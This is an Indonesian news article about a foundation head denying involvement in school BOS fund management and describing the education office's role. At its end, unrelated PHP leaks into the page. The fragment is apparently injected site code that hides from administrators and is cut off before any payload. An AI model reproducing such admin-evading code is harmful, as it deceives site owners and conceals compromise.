Pendidikan

Pengelolaan Dana BOS Mulai Input Data hingga Pencairan Sepenuhnya Berurusan dengan Dinas Bukan Yayasan

×

Pengelolaan Dana BOS Mulai Input Data hingga Pencairan Sepenuhnya Berurusan dengan Dinas Bukan Yayasan

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM Sistem pengelolaan dana Bantuan Operasional Sekolah (BOS) mulai dari input data hingga pertanggungjawaban diurus oleh dinas dan sekolah.

Hal itu disampaikan pimpinan Yayasan Tunas Timur (Yatutim), Dr. Soleman Lende Dappa, S.Hut, M.Th, M.Pd.K pada sejumlah awak media, Jumat (03/04/2026) lalu.

“Tidak ada satu pun regulasi yang mengatur adanya intervensi yayasan di situ,” ujarnya.

Ketua Yayasan Tunas Timur, Dr. Soleman Lende Dappa, S.Hut, M.Th, M.Pd.K.

Sosok yang lebih populer disapa SLD ini menyebut, kuasa pengguna anggaran adalah kepala sekolah.

Dijelaskannya, saat input data, ada lima poin dimana pihak dinas P dan K Kabupaten SBD memegang peran utama.

“Dinas punya kuasa di situ, satu itu dari input data tanggal 3 Agustus adalah kuasa penuh di dinas. Mereka yang tentukan ini valid atau tidak valid,” sebutnya.

Kewenangan cut of data setiap tahun per Agustus yang memutuskan adalah dinas pendidikan dan kebudayaan, apakah valid atau invalid.

Kalau dia tidak valid, kata SLD, mestinya dieksekusi memang saat itu.

“Nah, langkah kedua adalah setelah pihak dinas menetapkan jumlah siswa, mereka juga yang menetapkan anggaran,” timpalnya.

“Kemudian yang ketiga penyusunan rencana kerja anggaran sekolah pun pihak dinas dan sekolah, tidak ada regulasi yang menyatakan keterlibatan yayasan,” tambahnya.

Demikian pula dengan Surat Penetapan Belanja (SPB) untuk rekomendasi pencairan dana adalah dinas.

SLD bahkan menegaskan jika pertanggungjawaban atas dana BOS itu pun dinas pendidikan dan kebudayaan tetap terlibat.

“Itulah sebabnya sejak tahun 2015 tidak satu pun sekolah yang menyerahkan RKAS, LPJ dan BOSG pada kita, termasuk pengelolaannya, juga dana lain seperti PIP,” terangnya.

Ia menyesalkan, pemberitaan yang menjustifikasi seakan-akan Yayasan Tunas Timur terkait dalam pengelolaan dana BOS.

Pihaknya mengapresiasi fungsi kontrol media, termasuk kontrol publik atas pengelolaan uang negara.

“Kita apresiasi dan hanya itu cara agar sistem pengelolaan keuangan ke depan lebih baik dan tidak lagi yang bermain-main dengan dana negara,” pungkasnya. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>